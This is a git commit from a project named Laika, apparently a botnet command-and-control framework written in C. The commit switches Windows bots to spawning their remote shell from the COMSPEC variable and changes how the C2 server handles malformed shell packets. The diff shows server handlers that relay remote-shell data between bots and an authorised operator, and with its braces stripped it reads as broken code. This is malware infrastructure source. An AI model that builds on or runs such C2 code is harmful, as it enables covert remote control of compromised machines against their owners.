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Windows: use COMSPEC environment variable to grab the shell

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- shells on windows are now opened from the COMSPEC env variable
- cnc will now ignore malformed shell packets from bots instead of killing them
This commit is contained in:
CPunch
2022-04-20 10:10:44 -05:00
parent cfe633f1d5
commit c3c42e298f
2 changed files with 12 additions and 4 deletions
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6
cnc/src/cnc.c
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@@ -116,8 +116,9 @@ void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
struct sLaika_cnc *cnc = bInfo->info.cnc;
uint8_t _res = laikaS_readByte(&peer->sock);
/* ignore packet if shell isn't open */
if (bInfo->shellAuth == NULL)
LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE malformed packet!");
return;
/* forward to SHELL_CLOSE to auth */
laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_SHELL_CLOSE);
@@ -132,8 +133,9 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData;
uint8_t id;
/* ignore packet if malformed */
if (bInfo->shellAuth == NULL || sz < 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH)
LAIKA_ERROR("LAIKAPKT_SHELL_DATA malformed packet!");
return;
laikaS_read(&peer->sock, (void*)buf, sz);